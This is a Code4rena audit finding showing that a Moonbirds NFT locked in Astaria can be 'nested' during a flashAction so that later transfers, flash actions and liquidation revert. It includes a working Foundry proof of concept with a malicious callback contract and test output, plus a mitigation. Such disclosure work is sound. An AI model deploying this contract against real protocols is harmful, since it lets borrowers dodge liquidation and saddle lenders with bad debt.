Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/CollateralToken.sol#L299 https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/ClearingHouse.sol#L217 https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/CollateralToken.sol#L345

Vulnerability details

Impact

Adversary can game the flashAuction feature to block further flashAuction after trading collateral token and make liquidatorNFTClaim function revert and block liquidation if the NFT is Moonbird

Proof of Concept

In the current implementation, according to

https://docs.astaria.xyz/docs/protocol-mechanics/flashactions

FlashActions allow borrowers to take advantage of the utility of their locked NFTs. A FlashAction allows the user to unlock their underlying collateral and perform any action with the NFT as long as it is returned within the same block.

The corresponding implementation is in CollateralToken.sol

  function flashAction(
    IFlashAction receiver,
    uint256 collateralId,
    bytes calldata data
  ) external onlyOwner(collateralId) {
    address addr;
    uint256 tokenId;
    CollateralStorage storage s = _loadCollateralSlot();
    (addr, tokenId) = getUnderlying(collateralId);

    if (!s.flashEnabled[addr]) {
      revert InvalidCollateralState(InvalidCollateralStates.FLASH_DISABLED);
    }

    if (
      s.LIEN_TOKEN.getCollateralState(collateralId) == bytes32("ACTIVE_AUCTION")
    ) {
      revert InvalidCollateralState(InvalidCollateralStates.AUCTION_ACTIVE);
    }

    bytes32 preTransferState;
    //look to see if we have a security handler for this asset

    address securityHook = s.securityHooks[addr];
    if (securityHook != address(0)) {
      preTransferState = ISecurityHook(securityHook).getState(addr, tokenId);
    }
    // transfer the NFT to the destination optimistically

    ClearingHouse(s.clearingHouse[collateralId]).transferUnderlying(
      addr,
      tokenId,
      address(receiver)
    );

    //trigger the flash action on the receiver
    if (
      receiver.onFlashAction(
        IFlashAction.Underlying(s.clearingHouse[collateralId], addr, tokenId),
        data
      ) != keccak256("FlashAction.onFlashAction")
    ) {
      revert FlashActionCallbackFailed();
    }

    if (
      securityHook != address(0) &&
      preTransferState != ISecurityHook(securityHook).getState(addr, tokenId)
    ) {
      revert FlashActionSecurityCheckFailed();
    }

    // validate that the NFT returned after the call

    if (
      IERC721(addr).ownerOf(tokenId) != address(s.clearingHouse[collateralId])
    ) {
      revert FlashActionNFTNotReturned();
    }
  }

the code above did a few things: make sure the flashAction is enabled, make sure the NFT is not in auction, make sure owner the owner of the collateral token can call flashAction using onlyOwner(collateralId) modifier, then the code transfer the NFT to the receiver

ClearingHouse(s.clearingHouse[collateralId]).transferUnderlying(
  addr,
  tokenId,
  address(receiver)
);

In the end, the code check if the caller of the flashAction return the NFT by checking the ownership of the NFT

if (
  IERC721(addr).ownerOf(tokenId) != address(s.clearingHouse[collateralId])
) {
  revert FlashActionNFTNotReturned();
}

We need to look into ClearingHouse(s.clearingHouse[collateralId]).transferUnderlying function call:

In ClearingHouse.sol

function transferUnderlying(
address tokenContract,
uint256 tokenId,
address target
) external {
    IAstariaRouter ASTARIA_ROUTER = IAstariaRouter(_getArgAddress(0));
    require(msg.sender == address(ASTARIA_ROUTER.COLLATERAL_TOKEN()));
    ERC721(tokenContract).safeTransferFrom(address(this), target, tokenId);
}

the crucial part is that the normal safeTransferFrom is used.

ERC721(tokenContract).safeTransferFrom(address(this), target, tokenId);

However, if the tokenContract is Moonbird NFT, the adversary can game the flashAucton feature to block further flashAction after trading the collateral token.

We need to look into the MoonBird NFT.

Moonbird NFT is one of the bluechip that has a large communtiy and high trading volume.

https://cointelegraph.com/news/bluechip-nft-project-moonbirds-signs-with-hollywood-talent-agents-uta

This NFT MoonBird has a feature: bird nesting.

https://www.moonbirds.xyz/

Moonbirds come with a unique PFP design that allows them to be locked up and nested without leaving your wallet.

As soon as your Moonbird is nested, they’ll begin to accrue additional benefits. As total nested time accumulates, you’ll see your Moonbird achieve new tier levels, upgrading their nest.

The important things is that: when nesting is activated, the normal transfer is disabled (meaing the NFT trading for nested bird is disabled because normal transfer will revert) but user can use a speical function safeTransferWhileNesting to move NFT around.

How is this feature implemented?

Here is the function toggleNesting function

/**
@notice Changes the Moonbird's nesting status.
*/
function toggleNesting(uint256 tokenId)
    internal
    onlyApprovedOrOwner(tokenId)
{

https://etherscan.io/address/0x23581767a106ae21c074b2276d25e5c3e136a68b#code#F1#L319

When the nesting is active, normal transfer is disabled. If the user tries to transfer while nesting, transaction will revert in _beforeTokenTransfers

https://etherscan.io/address/0x23581767a106ae21c074b2276d25e5c3e136a68b#code#F1#L272

/**
@dev Block transfers while nesting.
 */
function _beforeTokenTransfers(
    address,
    address,
    uint256 startTokenId,
    uint256 quantity
) internal view override {
    uint256 tokenId = startTokenId;
    for (uint256 end = tokenId + quantity; tokenId < end; ++tokenId) {
        require(
            nestingStarted[tokenId] == 0 || nestingTransfer == 2,
            "Moonbirds: nesting"
        );
    }
}

Here is an example transaction that revert when user tries to transfer while nesting.

https://etherscan.io/tx/0x21caf32e33f37d808054bf9ef33273a1347961dfc914819fc972cc5f44d7e62e

Here is an example transaction that users try to toggle nesting

https://etherscan.io/tx/0xefc7b7e683b17b623b96c628e684613ab7e637f5e74dec7abdedebb99b4e64d1

If the NFT bird is in nesting, the user can call a speical function safeTransferWhileNesting to move NFT around.

https://etherscan.io/address/0x23581767a106ae21c074b2276d25e5c3e136a68b#code#F1#L258

function safeTransferWhileNesting(
    address from,
    address to,
    uint256 tokenId
) external {
    require(ownerOf(tokenId) == _msgSender(), "Moonbirds: Only owner");
    nestingTransfer = 2;
    safeTransferFrom(from, to, tokenId);
    nestingTransfer = 1;
}

example transaction for safeTransferWhileNesting

https://etherscan.io/tx/0x8d80610ff84c0f874fef28b351852e206fc38fe2818627881e437ed661d77fda

Ok, now we can formalize the exploit path:

A adversay acquires the collateral token so he can call flash action.
He calls the flash auction, and within the transaction he hold the moonbird NFT.
He toggle the nesting on, and use safeTransferWhileNesting to transfer the NFT back.
the ownership validation code will pass because the NFT is transferred back.

if (
  IERC721(addr).ownerOf(tokenId) != address(s.clearingHouse[collateralId])
) {
  revert FlashActionNFTNotReturned();
}

the adversary sell collateral token to others. But other user tries to use flash auction on the moonbird.
transaction revert in safeTransferFrom because while the moonbird nesting is on, safeTransferWhileNesting needs to be called to transfer NFT, but protocol does not support such function and the protocol does not support the transction that toggle the moonbird nesting off.

    ERC721(tokenContract).safeTransferFrom(address(this), target, tokenId);

The impact is severe, the new owner cannot use flashAuction.

In fact, all ERC721(tokenContract).safeTransferFrom call is blocked, the NFT cannot be liquidated because normal liquidation also requires transferFrom to change the ownership and settle the trade.

liquidatorNFTClaim also revert because the function calls:

ClearingHouse CH = ClearingHouse(payable(s.clearingHouse[collateralId]));
CH.settleLiquidatorNFTClaim();
_releaseToAddress(s, underlying, collateralId, liquidator);

which calls _releaseToAddress

which calls:

function _releaseToAddress(
CollateralStorage storage s,
Asset memory underlyingAsset,
uint256 collateralId,
address releaseTo
) internal {
ClearingHouse(s.clearingHouse[collateralId]).transferUnderlying(
  underlyingAsset.tokenContract,
  underlyingAsset.tokenId,
  releaseTo
);
emit ReleaseTo(
  underlyingAsset.tokenContract,
  underlyingAsset.tokenId,
  releaseTo
);
}

which calls transferUnderlying, which use ERC721(tokenContract).safeTransferFrom, which reverts while the moonbird nesting is on.

the function releaseToAddress is blocked and the NFT is locked in CollateralToken

function releaseToAddress(uint256 collateralId, address releaseTo)
public
releaseCheck(collateralId)
onlyOwner(collateralId)
{
CollateralStorage storage s = _loadCollateralSlot();

if (msg.sender != ownerOf(collateralId)) {
  revert InvalidSender();
}
Asset memory underlying = s.idToUnderlying[collateralId];
address tokenContract = underlying.tokenContract;
_burn(collateralId);
delete s.idToUnderlying[collateralId];
_releaseToAddress(s, underlying, collateralId, releaseTo);
}

Who have such incentives to exploits this feature? For example, a user use moonbird to borrow 10 ETH, but he does not want to pay the outstanding debt and does not want to get the NFT liquidated. He can exploit the moonbird to lock NFT. Without liquidating the NFT and locking the NFT, the lender bears the loss on the bad debt.

Le us see the coded POC:

Let us see the normal flashAction flow and then see how the above-mentioned exploit path can block further flashAction.

First, add the smart contract code in AstariaTest.t..sol

This code just transfer the NFT back in the onFlashAction callback function.

https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/test/AstariaTest.t.sol#L38

import {CollateralToken, IFlashAction} from "../CollateralToken.sol";
import {ERC721} from "gpl/ERC721.sol";
import {IERC721Receiver} from "core/interfaces/IERC721Receiver.sol";

contract NormalFlashAction is IFlashAction, IERC721Receiver {

    function onFlashAction(IFlashAction.Underlying calldata asset, bytes calldata data) external returns (bytes32) {
      ERC721(asset.token).transferFrom(
        address(this),
        asset.returnTarget, 
        asset.tokenId
      );
      return keccak256("FlashAction.onFlashAction");
    }

    function onERC721Received(
      address,
      address,
      uint256,
      bytes calldata
    ) external override returns (bytes4) {
      return this.onERC721Received.selector;
    }

}

Then we add the test case in AstariaTest.t.sol

https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/test/AstariaTest.t.sol#L367

  function testFlashAction_normal_flow_POC() public {

    TestNFT nft = new TestNFT(1);
    // MockMoonbird nft = new MockMoonbird(1);
    address tokenContract = address(nft);
    uint256 tokenId = uint256(0);

    uint256 initialBalance = WETH9.balanceOf(address(this));

    // create a PublicVault with a 14-day epoch
    address publicVault = _createPublicVault({
      strategist: strategistOne,
      delegate: strategistTwo,
      epochLength: 14 days
    });

    // lend 50 ether to the PublicVault as address(1)
    _lendToVault(
      Lender({addr: address(1), amountToLend: 50 ether}),
      publicVault
    );

    // borrow 10 eth against the dummy NFT
    (uint256[] memory liens, ILienToken.Stack[] memory stack) = _commitToLien({
      vault: publicVault,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: tokenId,
      lienDetails: standardLienDetails,
      amount: 10 ether,
      isFirstLien: true
    });

    vm.warp(block.timestamp + 3 days);

    uint256 accruedInterest = uint256(LIEN_TOKEN.getOwed(stack[0]));
    uint256 tenthOfRemaining = (uint256(
      LIEN_TOKEN.getOwed(stack[0], block.timestamp + 7 days)
    ) - accruedInterest).mulDivDown(1, 10);

    address privateVault = _createPrivateVault({
      strategist: strategistOne,
      delegate: strategistTwo
    });

    IAstariaRouter.Commitment memory refinanceTerms = _generateValidTerms({
      vault: privateVault,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: tokenId,
      lienDetails: refinanceLienDetails,
      amount: 10 ether,
      stack: stack
    });

    _lendToPrivateVault(
      Lender({addr: strategistOne, amountToLend: 50 ether}),
      privateVault
    );

    COLLATERAL_TOKEN.file(
      ICollateralToken.File(
        ICollateralToken.FileType.FlashEnabled,
        abi.encode(address(nft), true)
      )
    );

    NormalFlashAction gameAuction = new NormalFlashAction();
    // GameFlashAction gameAuction = new GameFlashAction();

    COLLATERAL_TOKEN.flashAction(
      IFlashAction(gameAuction),
      tokenContract.computeId(tokenId),
      abi.encode(address(this))
    );

    console.log("First flash action works fine!");

    COLLATERAL_TOKEN.flashAction(
      IFlashAction(gameAuction),
      tokenContract.computeId(tokenId),
      abi.encode(address(this))
    );

    console.log("Second flash action works fine!");

  }

As we can see, we try to flashAction twice, and both of flashAction works fine if we run the test.

We can run the test:

forge test -vv --match testFlashAction_normal_flow_POC  --ffi --fork-url https://mainnet.infura.io/v3/91516e24ebff4dac8f2bd04b829f102d --fork-block-number 15934974

the test result is:

[PASS] testFlashAction_normal_flow_POC() (gas: 2976290)
Logs:
  0x5e04a85fb1777f5deb6b8af74cebeb4739e76986d53836d25de402a5751a297342aaea5c801a1d6ec85ba43aa8fb3d047f0ecd06d228f32a3a6141ac461f11281b
  signature length: 65
  0xc46b5a6f5c624254371fa62ad24c68abbaa2490705ecc3f4dafc3c937ba3eb6350cc787e371fe9e05de6aca3957a90d5f045188da8886d7c2bcaa48ca2dacaaf1c
  signature length: 65
  First flash action works fine!
  Second flash action works fine!

Now we see if the underlying NFT is moonbird, how can we implement the exploit path mentioned above.

First, we implement a mock NFT that has toggleNest function in TestHelper.t.sol

https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/test/TestHelpers.t.sol#L89

contract MockMoonbird is MockERC721 {

  mapping(uint256 => uint256) private nestingStarted;
  uint256 private nestingTransfer;

  constructor(uint256 size) MockERC721("Test", "Test") {
    for (uint256 i = 0; i < size; ++i) {
      _mint(msg.sender, i);
    }
  }

  function toggleNesting(uint256 tokenId) external {
    if (nestingStarted[tokenId] == 0) {
      nestingStarted[tokenId] = block.timestamp;
    } else {
      nestingStarted[tokenId] = 0;
    }
  }

  function transferFrom(
    address from,
    address to,
    uint256 id
  ) public override {
     require(nestingStarted[id] == 0 || nestingTransfer == 2, "Moonbirds: nesting");
     super.transferFrom(from, to, id);
  }

    function safeTransferWhileNesting(
      address from,
      address to,
      uint256 tokenId
  ) external {
      require(ownerOf(tokenId) == msg.sender, "Moonbirds: Only owner");
      nestingTransfer = 2;
      transferFrom(from, to, tokenId);
      nestingTransfer = 1;
  }

}

Then we create a smart contract and in the smart contract callback, we toggleNesting, and use safeTransferWhileNesting to transfer the NFT back. This is the core exploit

https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/test/AstariaTest.t.sol#L38

contract GameFlashAction is IFlashAction, IERC721Receiver {

    function onFlashAction(IFlashAction.Underlying calldata asset, bytes calldata data) external returns (bytes32) {
      MockMoonbird(asset.token).toggleNesting(asset.tokenId);
      MockMoonbird(asset.token).safeTransferWhileNesting(
        address(this),
        asset.returnTarget, 
        asset.tokenId
      );
      return keccak256("FlashAction.onFlashAction");
    }

    function onERC721Received(
      address,
      address,
      uint256,
      bytes calldata
    ) external override returns (bytes4) {
      return this.onERC721Received.selector;
    }

}

Then we add the test below:

https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/test/AstariaTest.t.sol#L367

  function testFlashAction_moonbird_flow_blocked_POC() public {

    // TestNFT nft = new TestNFT(1);
    MockMoonbird nft = new MockMoonbird(1);
    address tokenContract = address(nft);
    uint256 tokenId = uint256(0);

    uint256 initialBalance = WETH9.balanceOf(address(this));

    // create a PublicVault with a 14-day epoch
    address publicVault = _createPublicVault({
      strategist: strategistOne,
      delegate: strategistTwo,
      epochLength: 14 days
    });

    // lend 50 ether to the PublicVault as address(1)
    _lendToVault(
      Lender({addr: address(1), amountToLend: 50 ether}),
      publicVault
    );

    // borrow 10 eth against the dummy NFT
    (uint256[] memory liens, ILienToken.Stack[] memory stack) = _commitToLien({
      vault: publicVault,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: tokenId,
      lienDetails: standardLienDetails,
      amount: 10 ether,
      isFirstLien: true
    });

    vm.warp(block.timestamp + 3 days);

    uint256 accruedInterest = uint256(LIEN_TOKEN.getOwed(stack[0]));
    uint256 tenthOfRemaining = (uint256(
      LIEN_TOKEN.getOwed(stack[0], block.timestamp + 7 days)
    ) - accruedInterest).mulDivDown(1, 10);

    address privateVault = _createPrivateVault({
      strategist: strategistOne,
      delegate: strategistTwo
    });

    IAstariaRouter.Commitment memory refinanceTerms = _generateValidTerms({
      vault: privateVault,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: tokenId,
      lienDetails: refinanceLienDetails,
      amount: 10 ether,
      stack: stack
    });

    _lendToPrivateVault(
      Lender({addr: strategistOne, amountToLend: 50 ether}),
      privateVault
    );

    COLLATERAL_TOKEN.file(
      ICollateralToken.File(
        ICollateralToken.FileType.FlashEnabled,
        abi.encode(address(nft), true)
      )
    );

    // NormalFlashAction gameAuction = new NormalFlashAction();
    GameFlashAction gameAuction = new GameFlashAction();

    COLLATERAL_TOKEN.flashAction(
      IFlashAction(gameAuction),
      tokenContract.computeId(tokenId),
      abi.encode(address(this))
    );

    console.log("First flash action works fine!");

    COLLATERAL_TOKEN.flashAction(
      IFlashAction(gameAuction),
      tokenContract.computeId(tokenId),
      abi.encode(address(this))
    );

    console.log("Second flash action works fine!");

  }

We make two modification here:

we use MockMoonbird instead of normal NFT, we use the malicious contract that implements the moonbird nesting callback function

// TestNFT nft = new TestNFT(1);
MockMoonbird nft = new MockMoonbird(1);

and

// NormalFlashAction gameAuction = new NormalFlashAction();
GameFlashAction gameAuction = new GameFlashAction();

we run the test again and we can see the second flashAction is blocked.

forge test -vv --match testFlashAction_moonbird_flow_blocked_POC  --ffi --fork-url https://mainnet.infura.io/v3/91516e24ebff4dac8f2bd04b829f102d --fork-block-number 15934974

and the test result is:

Running 1 test for src/test/AstariaTest.t.sol:AstariaTest
[FAIL. Reason: Moonbirds: nesting] testFlashAction_moonbird_flow_blocked_POC() (gas: 3320268)
Logs:
  0x5e04a85fb1777f5deb6b8af74cebeb4739e76986d53836d25de402a5751a297342aaea5c801a1d6ec85ba43aa8fb3d047f0ecd06d228f32a3a6141ac461f11281b
  signature length: 65
  0xc46b5a6f5c624254371fa62ad24c68abbaa2490705ecc3f4dafc3c937ba3eb6350cc787e371fe9e05de6aca3957a90d5f045188da8886d7c2bcaa48ca2dacaaf1c
  signature length: 65
  First flash action works fine!

Test result: FAILED. 0 passed; 1 failed; finished in 1.06s

Failing tests:
Encountered 1 failing test in src/test/AstariaTest.t.sol:AstariaTest
[FAIL. Reason: Moonbirds: nesting] testFlashAction_moonbird_flow_blocked_POC() (gas: 3320268)

Encountered a total of 1 failing tests, 0 tests succeeded

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

We recommend the protocol whitelist the NFT address that can be used in the protocol to make sure such edge case does not impact the borrower and lender.

code-423n4 / 2023-01-astaria-findings